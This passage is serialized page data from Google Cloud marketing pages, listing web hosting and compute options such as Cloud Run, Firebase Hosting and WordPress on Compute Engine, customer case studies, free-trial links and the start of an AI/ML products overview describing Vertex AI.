services\u003c/p\u003e"]],[null,[null,"\u003cp\u003eData processing\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAutomation\u003c/p\u003e"]]]]],[null,[[[null,[null,"App Engine"],[null,"\u003cp\u003eBuild highly scalable applications on a fully managed serverless platform using open and familiar languages and tools.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/appengine"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/appengine"],["track-metadata-module","categorization"],["track-metadata-module_headline","app engine"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eModern web applications\u003c/p\u003e"]],[null,[null,"\u003cp\u003eScalable mobile back ends\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAutomatic scaling\u003c/p\u003e"]]]]]]]],true],{"10000":[[["track-metadata-module","categorization"]],191704]}],[5,[[[null,[null,"Need more guidance? Connect with our sales team or a vetted third-party vendor."]]],[[[null,null,[null,"Talk to a Google Cloud sales representative about your specific storage needs."]],[[null,null,"https://cloud.google.com/contact"],"Contact us",3,{"10000":[[["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","conversion"],["track-metadata-module_headline","need more guidance? connect with our sales team or a vetted third-party vendor."],["track-name","contact us"]],192550]}]],[[null,null,[null,"Connect with a third-party vendor for help with implementation, migration, and more."]],[[null,null,"https://cloud.google.com/find-a-partner"],"Find a partner",15,{"10000":[[["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/find-a-partner"],["track-metadata-module","conversion"],["track-metadata-module_headline","need more guidance? connect with our sales team or a vetted third-party vendor."],["track-name","find a partner"]]]}]]]],{"10000":[[["track-metadata-module","conversion"]],191696]}],[69,null,null,[[[[null,[null,"Learn from our customers"]],[[null,null,"https://cloud.google.com/customers#/products\u003dCompute"],"See all customers",14,{"10000":[[["track-metadata-eventdetail","cloud.google.com/customers"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","see all customers"]]]}]]],[[[[[null,"Video"],[null,"Twitter created a hybrid-cloud solution that merged separate compute and storage platforms."],[null,"02:01"]],[[null,null,"https://youtu.be/T1zjmNAuMjs"],null,12,{"10000":[[["track-metadata-child_headline","twitter created a hybrid-cloud solution that merged separate compute and storage platforms."],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","youtu.be/t1zjmnaumjs"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-metadata-video-id","t1zjmnaumjs"],["track-name","twitter created a hybrid-cloud solution that merged separate compute and storage platforms."]],192559]}]],[[null,null,"https://lh3.googleusercontent.com/u4IbWaPUxFM7g0bq9z1V_OwYa9A0SQGnwm-yanNtE7MjfpjootHw62oyPLct0-TZxJe3Nd5yvsoJnw"],null,null,true,null,null,null,null,[null,"Twitter logo"]]],[[[[null,"Case study"],[null,"The Home Depot runs more than 600 projects in Google Cloud."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/featured/the-home-depot"],null,14,{"10000":[[["track-metadata-child_headline","the home depot runs more than 600 projects in google cloud."],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/customers/featured/the-home-depot"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","the home depot runs more than 600 projects in google cloud."]]]}]],[[null,null,"https://lh3.googleusercontent.com/x8B55Hd0FSFMwM1fPN6a3y3w1xQrZdy6QdGyhAcmyfS7B95oRNRwm4Pqr9WTagV2n3SnQySxdeU"],null,null,true,null,null,null,null,[null,"The Home Depot logo"]]],[[[[null,"Case study"],[null,"PayPal increased scale and reach to serve 300 million active accounts in 200 markets."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/featured/paypal"],null,14,{"10000":[[["track-metadata-child_headline","paypal increased scale and reach to serve 300 million active accounts in 200 markets."],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/customers/featured/paypal"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","paypal increased scale and reach to serve 300 million active accounts in 200 markets."]]]}]],[[null,null,"https://lh3.googleusercontent.com/3-uspateLHI9x-rDkpw3I0JutlwWPnmDEHLOSsCH4MRtlBpQLf9UGrOeKUl-M5u4WwLXYLVRJ1AW6g"],null,null,true,null,null,null,null,[null,"PayPal logo"]]]]],{"10000":[[["track-metadata-module","customer"]],191759]}],[4,[[[null,[null,"Take the next step"],[null,"Start building on Google Cloud with $300 in free credits and 20+ always free products."]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","get started for free"]],192548]}]],[[[null,[null,"Need help getting started?"]],[[null,null,"https://cloud.google.com/contact/"],"Contact sales",3,{"10000":[[["track-metadata-child_headline","need help getting started?"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","contact sales"]],192550]}]],[[null,[null,"Work with a trusted partner"]],[[null,null,"https://cloud.google.com/find-a-partner/"],"Find a partner",15,{"10000":[[["track-metadata-child_headline","work with a trusted partner"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/find-a-partner"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","find a partner"]]]}]],[[null,[null,"Continue browsing"]],[[null,null,"https://cloud.google.com/products/"],"See all products",{"10000":[[["track-metadata-child_headline","continue browsing"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/products"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","see all products"]]]}]]]],{"10000":[[["track-metadata-module","ankle"]],191691]}]],[[null,null,[null,"Catch up on the latest product launches, demos, and trainings from Next '23. \u003ca href\u003d\"https://cloud.withgoogle.com/next/hub\"\u003eLet's go\u003c/a\u003e."]]],{"10000":[null,191556]}]]]]]],["/solutions/web-hosting",[[["fte",[[15,["t4AsqhGSTK0V","en","Web Hosting | Google Cloud | Google Cloud","Web hosting services from Google Cloud. Host everything from blogs to dynamic websites in the cloud with Click to Deploy or customized solutions. ","Tiered Wayfinding Template"],[[1,null,[[[null,[null,"Google Cloud web hosting"],[null,"\u003cp\u003eLaunch and learn preconfigured solutions—developed by Google Cloud experts—to help you build retail websites, dynamic web apps, and other web hosting use cases.\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","hero"],["track-metadata-module_headline","google cloud web hosting"],["track-name","get started for free"]],192548]}]],null,[]],{"10000":[[["track-metadata-module","hero"]],191692]}],[35,null,null,[null,[[[[null,[null,"Deploy a sample website"],[null,"Launch a sample drop-ship retail product website that's publicly accessible and customizable, leveraging Python and Javascript."]],[[null,null,"https://console.cloud.google.com/freetrial"],{"10000":[[["track-metadata-child_headline","deploy a dynamic website"],["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","featured ctas"],["track-name","deploy a sample website"]]]}]]],[[[null,[null,"Deploy a dynamic web app with Javascript"],[null,"Launch and run a dynamic web app with this interactive solution that deploys a sample application (Developer Journey App) built with Javascript."]],[[null,null,"https://console.cloud.google.com/freetrial"],{"10000":[[["track-metadata-child_headline","pricing"],["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","featured ctas"],["track-name","deploy a dynamic web app with javascript"]]]}]]],[[[null,[null,"Deploy a dynamic web app with Java"],[null,"Learn how to quickly build, manage, and deploy a sample web app that mimics a real-world point of sale screen for retailers."]],[[null,null,"https://console.cloud.google.com/freetrial"],{"10000":[[["track-metadata-child_headline","pricing"],["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","featured ctas"],["track-name","deploy a dynamic web app with java"]]]}]]]]],{"10000":[[["track-metadata-module","featured ctas"]],191725]}],[14,null,null,null,null,null,null,null,null,null,null,null,null,null,[[[null,[null,"Cloud web hosting services"]]],[[null,[null,"Solution type"]],[null,[null,"Products or services"]],[null,[null,"Use cases"]]],[[[[null,[null,"Preconfigured and Click to Deploy"]]],[[null,[[[null,[null,"WordPress on Compute Engine"],[null,"\u003cp\u003eDeploy Wordpress, a website creation and publishing platform, to Google Cloud with a range of hosting options.\u003c/p\u003e\n\u003cp\u003e\u003ca href\u003d\"https://console.cloud.google.com/marketplace/details/click-to-deploy-images/wordpress\"\u003eView pricing\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/marketplace/details/click-to-deploy-images/wordpress"],null,2,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/marketplace/details/click-to-deploy-images/wordpress"],["track-metadata-module","categorization"],["track-metadata-module_headline","wordpress on compute engine"]],192549]}]],[[null,null,"https://www.gstatic.com/bricks/image/d36a54c9d587cceefc14871289f3a3fca321ec022fe0ced204035002d3398e7f.svg"],null,null,null,null,null,null,null,[null,"Compute Engine icon"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eBlogs\u003c/p\u003e"]],[null,[null,"\u003cp\u003eSimple websites\u003c/p\u003e"]],[null,[null,"\u003cp\u003eBest for low to medium traffic\u003c/p\u003e"]],[null,[null,"\u003cp\u003eOpen-source content management system\u003c/p\u003e"]]]]],[null,[[[null,[null,"LAMP stack on Compute Engine"],[null,"\u003cp\u003eDeploy a development stack featuring Apache HTTP Server, MySQL, and PHP on Compute Engine. \u003c/p\u003e\n\u003cp\u003e\u003ca href\u003d\"https://console.cloud.google.com/marketplace/details/click-to-deploy-images/lamp\"\u003eView pricing\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/marketplace/details/click-to-deploy-images/lamp"],null,2,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/marketplace/details/click-to-deploy-images/lamp"],["track-metadata-module","categorization"],["track-metadata-module_headline","lamp stack on compute engine"]],192549]}]],[[null,null,"https://www.gstatic.com/bricks/image/1ddcbf165c112c650eb8aacc17dbaca31bb3ec84955ca139b42d5557cd337dab.svg"],null,null,null,null,null,null,null,[null,"Compute Engine icon"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eLinux, Apache HTTP Server, MySQL, and PHP\u003c/p\u003e"]],[null,[null,"\u003cp\u003eHost websites and web applications\u003c/p\u003e"]],[null,[null,"\u003cp\u003eDynamic content\u003c/p\u003e"]]]]],[null,[[[null,[null,"Three tier web application"],[null,"\u003cp\u003eDeploy a sample web app for a rich media, ecommerce, or data-backed website with this pre-built three-tiered architecture solution.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/solutions/three-tier-web-app"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/solutions/three-tier-web-app"],["track-metadata-module","categorization"],["track-metadata-module_headline","three tier web application"]]]}]],[[null,null,"https://lh3.googleusercontent.com/mXZW85lU61gMX3PZ7jJsKdQrclMen6U_9d9GkDyytUvUlWVsdhNrulR99ybLOk3jm-5TawAjDOLEvw"],null,null,true,null,null,null,null,[null,"three tier web app"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eRich media website\u003c/p\u003e"]],[null,[null,"\u003cp\u003eData-backed website\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEcommerce website\u003c/p\u003e"]]]]],[null,[[[null,[null,"Dynamic website"],[null,"\u003cp\u003eBuild, deploy, and operate a sample dynamic website using responsive web frameworks.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/solutions/dynamic-website"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/solutions/dynamic-website"],["track-metadata-module","categorization"],["track-metadata-module_headline","dynamic website"]]]}]],[[null,null,"https://lh3.googleusercontent.com/mXZW85lU61gMX3PZ7jJsKdQrclMen6U_9d9GkDyytUvUlWVsdhNrulR99ybLOk3jm-5TawAjDOLEvw"],null,null,true,null,null,null,null,[null,"dynamic"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eDynamic website\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEcommerce website\u003c/p\u003e"]]]]],[null,[[[null,[null,"Ecommerce web app"],[null,"\u003cp\u003eBuild and run a simple ecommerce application for retail organizations.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/solutions/ecommerce-web-app"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/solutions/ecommerce-web-app"],["track-metadata-module","categorization"],["track-metadata-module_headline","ecommerce web app"]]]}]],[[null,null,"https://lh3.googleusercontent.com/mXZW85lU61gMX3PZ7jJsKdQrclMen6U_9d9GkDyytUvUlWVsdhNrulR99ybLOk3jm-5TawAjDOLEvw"],null,null,true,null,null,null,null,[null,"ecommerce web app"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eEcommerce web application \u003c/p\u003e"]],[null,[null,"\u003cp\u003eMicroservice-based ecommerce\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAPI-based, dynamic web application\u003c/p\u003e"]]]]]]],[[[null,[null,"Static websites"]]],[[null,[[[null,[null,"Firebase Hosting"],[null,"\u003cp\u003eDeploy static content to a global CDN with a single command. Get started with the\u003ca href\u003d\"https://firebase.google.com/docs/hosting\"\u003e Firebase Hosting guide\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003e\u003ca href\u003d\"https://firebase.google.com/pricing\"\u003eView pricing\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://firebase.google.com/products/hosting"],{"10000":[[["track-metadata-eventdetail","firebase.google.com/products/hosting"],["track-metadata-module","categorization"],["track-metadata-module_headline","firebase hosting"]]]}]],[[null,null,"https://www.gstatic.com/bricks/image/2c60272ef45a0f05c7c9425b503f74792ce7c0be83bc8c6338b6211ca051c5f6.svg"],null,null,null,null,null,null,null,[null,"Firebase icon"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eEnd-to-end HTTPS serving for custom domains\u003c/p\u003e"]],[null,[null,"\u003cp\u003eWeb apps and static content\u003c/p\u003e"]],[null,[null,"\u003cp\u003eGlobal CDN\u003c/p\u003e"]]]]]]],[[[null,[null,"Dynamic websites"]]],[[null,[[[null,[null,"Cloud Run"],[null,"\u003cp\u003eDevelop and \u003ca href\u003d\"https://codelabs.developers.google.com/codelabs/cloud-run-deploy/index.html?index\u003d..%2F..index#0\"\u003edeploy\u003c/a\u003e your favorite language and framework on a fully managed serverless platform that scales automatically.\u003c/p\u003e\n\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/run#section-13\"\u003eView pricing\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/run"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/run"],["track-metadata-module","categorization"],["track-metadata-module_headline","cloud run"]]]}]],[[null,null,"https://www.gstatic.com/bricks/image/90b3dc820c1eefbb54ebe9d99d8bec78ba0db304eb68b6c3599e3452a45b2896.svg"],null,null,null,null,null,null,null,[null,"Cloud Run icon"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eGo, Python, Java, Ruby, Node.js, and more\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAccess SQL database on Cloud SQL\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAutoscaled HTTPS endpoint\u003c/p\u003e"]],[null,[null,"\u003cp\u003eFully managed infrastructure\u003c/p\u003e"]]]]],[null,[[[null,[null,"Compute Engine"],[null,"\u003cp\u003eDeploy a complete web-serving stack from\u003ca href\u003d\"https://cloud.google.com/marketplace\"\u003e Google Cloud Marketplace\u003c/a\u003e or\u003ca href\u003d\"https://cloud.google.com/solutions/web-serving-overview#setting_up_manually\"\u003e create your own infrastructure\u003c/a\u003e manually.\u003c/p\u003e\n\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/compute/all-pricing\"\u003eView pricing\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/compute"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/compute"],["track-metadata-module","categorization"],["track-metadata-module_headline","compute engine"]]]}]],[[null,null,"https://www.gstatic.com/bricks/image/41b5f77ad52c47425814ac1a4ba2bf9159d38a91c0d2c02004aa1c5e887953c4.svg"],null,null,null,null,null,null,null,[null,"Compute Engine icon"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eComplete control and unlimited flexibility\u003c/p\u003e"]],[null,[null,"\u003cp\u003eConfigure servers and virtual machines\u003c/p\u003e"]],[null,[null,"\u003cp\u003eSpecific memory, SSD, and GPU needs\u003c/p\u003e"]]]]]]]],true],{"10000":[[["track-metadata-module","categorization"]],191704]}],[5,[[[null,[null,"Ready to host your website in the cloud? Get started with $300 in free credits."],null,null,[null,"\u003cp\u003eLearn how to \u003ca href\u003d\"https://cloud.google.com/solutions/web-serving-overview\"\u003eserve or migrate\u003c/a\u003e a website or \u003ca href\u003d\"https://cloud.google.com/solutions/web-serving-overview#choosing_an_option\"\u003echoose an option\u003c/a\u003e in our technical article.\u003c/p\u003e"]]],[[[null,null,[null,"Use our free trial to start hosting your website or web app with any Google Cloud product."]],[[null,null,"https://cloud.google.com/free"],"Get started for free",{"10000":[[["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/free"],["track-metadata-module","conversion"],["track-metadata-module_headline","ready to host your website in the cloud? get started with $300 in free credits."],["track-name","get started for free"]]]}]],[[null,null,[null,"Watch an overview on how to build and host a website on Google Cloud."]],[[null,null,"https://www.youtube.com/watch?v\u003dpxp7uYUjH_M\u0026list\u003dPLIivdWyY5sqIOyeovvRapCjXCZykZMLAe\u0026index\u003d1"],"Watch the webinar",12,{"10000":[[["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","conversion"],["track-metadata-module_headline","ready to host your website in the cloud? get started with $300 in free credits."],["track-metadata-video-id","pxp7uyujh m"],["track-name","watch the webinar"]],192559]}]]]],{"10000":[[["track-metadata-module","conversion"]],191696]}],[69,null,null,[[[[null,[null,"Customers using our cloud hosting services"]],[[null,null,"https://cloud.google.com/customers"],"See all customers",14,{"10000":[[["track-metadata-eventdetail","cloud.google.com/customers"],["track-metadata-module","customer"],["track-metadata-module_headline","customers using our cloud hosting services"],["track-name","see all customers"]]]}]]],[[[[[null,"Case study"],[null,"Whisper reduced cloud hosting costs by more than 50%."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/whisper"],null,14,{"10000":[[["track-metadata-child_headline","whisper reduced cloud hosting costs by more than 50%."],["track-metadata-child_index","1"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/customers/whisper"],["track-metadata-module","customer"],["track-metadata-module_headline","customers using our cloud hosting services"],["track-name","whisper reduced cloud hosting costs by more than 50%."]]]}]],[[null,null,"https://lh3.googleusercontent.com/oaH1y5bKHPsg7LLCtUihrZxUoTqCINnBYxA9B-JOnG5pcrfMfVorVja4aZfi6RMS9cDvoCsSaCMo"],null,null,true,null,null,null,null,[null,"Whisper logo"]]],[[[[null,"Case study"],[null,"Cloudways uses Compute Engine to power their web hosting platform."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/cloudways"],null,14,{"10000":[[["track-metadata-child_headline","cloudways uses compute engine to power their web hosting platform."],["track-metadata-child_index","2"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/customers/cloudways"],["track-metadata-module","customer"],["track-metadata-module_headline","customers using our cloud hosting services"],["track-name","cloudways uses compute engine to power their web hosting platform."]]]}]],[[null,null,"https://lh3.googleusercontent.com/nMFDh2RImXj-ZDaJ-oZ3HwqXRmVEkAm_ivaf6fzt_icoUCYNiQrgifpDsIjYOMMmDmF28CNp9iaP"],null,null,true,null,null,null,null,[null,"Cloudways logo"]]],[[[[null,"Case study"],[null,"Esdemarca experienced 100% platform availability during peak web traffic."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/esdemarca"],null,14,{"10000":[[["track-metadata-child_headline","esdemarca experienced 100% platform availability during peak web traffic."],["track-metadata-child_index","3"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/customers/esdemarca"],["track-metadata-module","customer"],["track-metadata-module_headline","customers using our cloud hosting services"],["track-name","esdemarca experienced 100% platform availability during peak web traffic."]]]}]],[[null,null,"https://lh3.googleusercontent.com/644HaeykNIBgyX2IH_er6t2ao2Uh8IfV0AaRZY8jw8n00uGJmQsaSBP6C3yZauFDAU3twZkYhx8"],null,null,true,null,null,null,null,[null,"Esdemarca logo"]]],[[[[null,"Case study"],[null,"Kinsta provides a better blog hosting service with Google Cloud."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/kinsta"],null,14,{"10000":[[["track-metadata-child_headline","kinsta provides a better blog hosting service with google cloud."],["track-metadata-child_index","4"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/customers/kinsta"],["track-metadata-module","customer"],["track-metadata-module_headline","customers using our cloud hosting services"],["track-name","kinsta provides a better blog hosting service with google cloud."]]]}]],[[null,null,"https://lh3.googleusercontent.com/sn63dd0wveXjIyfOos04Ui80yUxFT7zsVcCx4V6LgjYSGTEayTa7TVwfeg7Ioqyj59QrygSY954c"],null,null,true,null,null,null,null,[null,"Kinsta logo"]]]]],{"10000":[[["track-metadata-module","customer"]],191759]}],[4,[[[null,[null,"Take the next step"],[null,"Start building on Google Cloud with $300 in free credits and 20+ always free products."]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","get started for free"]],192548]}]],[[[null,[null,"Need help getting started?"]],[[null,null,"https://cloud.google.com/contact/"],"Contact sales",3,{"10000":[[["track-metadata-child_headline","need help getting started?"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","contact sales"]],192550]}]],[[null,[null,"Work with a trusted partner"]],[[null,null,"https://cloud.withgoogle.com/partners/"],"Find a partner",{"10000":[[["track-metadata-child_headline","work with a trusted partner"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.withgoogle.com/partners"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","find a partner"]]]}]],[[null,[null,"Continue browsing"]],[[null,null,"https://cloud.google.com/products/"],"See all products",{"10000":[[["track-metadata-child_headline","continue browsing"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/products"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","see all products"]]]}]]]],{"10000":[[["track-metadata-module","ankle"]],191691]}]],{"10000":[null,191556]}]]]]]]]]],["variantB",["variantB",[93803232,93804393],["/products/ai","/products/compute","/solutions/web-hosting"],null,[["/products/ai",[[["fte",[[15,["eQEWtBTojpkD","en","AI \u0026 Machine Learning Products \u0026 Services | Google Cloud","Fast, scalable, and easy-to-use AI offerings including AI Platform, video and image analysis, speech recognition, and multi-language processing.","Tiered Wayfinding Template"],[[1,null,[[[null,[null,"AI and machine learning products"],[null,"\u003cp\u003eLaunch and learn pre-configured solutions—developed by Google Cloud experts—to help you summarize documents with generative AI, build image processing pipelines, and other AI use cases.\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/catalog"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/catalog"],["track-metadata-module","hero"],["track-metadata-module_headline","ai and machine learning products"],["track-name","get started for free"]],192548]}],[[null,null,"https://cloud.google.com/contact"],"Contact sales",3,{"10000":[[["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","hero"],["track-metadata-module_headline","ai and machine learning products"],["track-name","contact sales"]],192550]}]],null,[]],{"10000":[[["track-metadata-module","hero"]],191692]}],[35,null,null,[null,[[[[null,[null,"Summarize large documents with generative AI"],[null,"Deploy a preconfigured solution that uses generative AI to quickly extract text and summarize large documents."]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/generative-ai-document-summarization"],{"10000":[[["track-metadata-child_headline","summarize large documents with generative ai"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/generative-ai-document-summarization"],["track-metadata-module","featured ctas"],["track-name","summarize large documents with generative ai"]]]}]]],[[[null,[null,"Deploy an AI/ML image processing pipeline"],[null,"Launch a preconfigured, interactive solution that uses pre-trained machine learning models to analyze images and generate image annotations."]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/aiml-image-processing-on-cloud-functions"],{"10000":[[["track-metadata-child_headline","deploy an ai/ml image processing pipeline"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/aiml-image-processing-on-cloud-functions"],["track-metadata-module","featured ctas"],["track-name","deploy an ai/ml image processing pipeline"]]]}]]],[[[null,[null,"Explore common Generative AI use cases"],[null,"Build generative AI applications quickly, efficiently, and responsibly, powered by Google’s advanced technology."]],[[null,null,"https://cloud.google.com/use-cases/generative-ai"],{"10000":[[["track-metadata-child_headline","explore common generative ai use cases"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/use-cases/generative-ai"],["track-metadata-module","explore common generative ai use cases"],["track-name","responsible ai"]]]}]]]]],{"10000":[[["track-metadata-module","featured ctas"]],191725]}],[14,null,null,null,null,null,null,null,null,null,null,null,null,null,[[[null,[null,"Products, solutions, and services"]]],[[null,[null,"Use Case"]],[null,[null,"Products and solutions "]],[null,[null,"Good for"]]],[[[[null,[null,"Generative AI"]]],[[null,[[[null,[null,"Generative AI on Vertex AI"],[null,"\u003cp\u003eA Vertex AI tool for rapidly prototyping and testing generative AI models. Test sample prompts, design your own prompts, and customize foundation models and LLMs to handle tasks that meet your application's needs.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/generative-ai-studio"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/generative-ai-studio"],["track-metadata-module","categorization"],["track-metadata-module_headline","generative ai on vertex ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003ePrompt design and tuning with an easy-to-use interface \u003c/p\u003e"]],[null,[null,"\u003cp\u003eCode completion and generation with Codey\u003c/p\u003e"]],[null,[null,"\u003cp\u003eGenerating and customizing images with Imagen\u003c/p\u003e"]],[null,[null,"\u003cp\u003eUniversal speech models\u003c/p\u003e"]]]]],[null,[[[null,[null,"Vertex AI Search and Conversation "],[null,"\u003cp\u003eProvides step-by-step orchestration of enterprise search and conversational applications with pre-built workflows for common tasks like onboarding, data ingestion, and customization, making it easy for developers to set up and deploy their apps.\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/generative-ai-app-builder"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/generative-ai-app-builder"],["track-metadata-module","categorization"],["track-metadata-module_headline","vertex ai search and conversation"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eBuilding a Google-quality search app on your own data\u003c/p\u003e"]],[null,[null,"\u003cp\u003eBuilding multimodal apps that can respond with text, images, and other media\u003c/p\u003e"]],[null,[null,"\u003cp\u003eGenerative AI-powered summarization\u003c/p\u003e"]]]]],[null,[[[null,[null,"Generative AI Document Summarization"],[null,"\u003cp\u003eThe one-click solution establishes a pipeline that extracts text from PDFs, creates a summary from the extracted text with Vertex AI Generative AI Studio, and stores the searchable summary in a BigQuery database.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/architecture/ai-ml/generative-ai-document-summarization"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/architecture/ai-ml/generative-ai-document-summarization"],["track-metadata-module","categorization"],["track-metadata-module_headline","generative ai document summarization"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eProcess and summarize large documents using Vertex AI LLMs\u003c/p\u003e"]],[null,[null,"\u003cp\u003eDeploy an application that orchestrates the documentation summarization process\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTrigger the pipeline with a PDF upload and view a generated summary\u003c/p\u003e"]]]]]]],[[[null,[null,"Machine learning and MLOPs"]]],[[null,[[[null,[null,"Vertex AI Platform "],[null,"\u003cp\u003eA single platform for data scientists and engineers to create, train, test, monitor, tune, and deploy ML and AI models. Choose from 80+ models in Vertex's \u003ca href\u003d\"https://cloud.google.com/model-garden\"\u003eModel Garden\u003c/a\u003e, including Palm 2 and open source models like Stable Diffusion, BERT, T-5. \u003c/p\u003e"]],[[null,null,"/vertex-ai/"],{"10000":[[["track-metadata-eventdetail","vertex-ai"],["track-metadata-module","categorization"],["track-metadata-module_headline","vertex ai platform"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eCustom ML training\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTraining models with minimal ML expertise\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTesting, monitoring, and tuning ML models \u003c/p\u003e"]],[null,[null,"\u003cp\u003eDeploying 100+ models including multimodal and foundation models like Palm 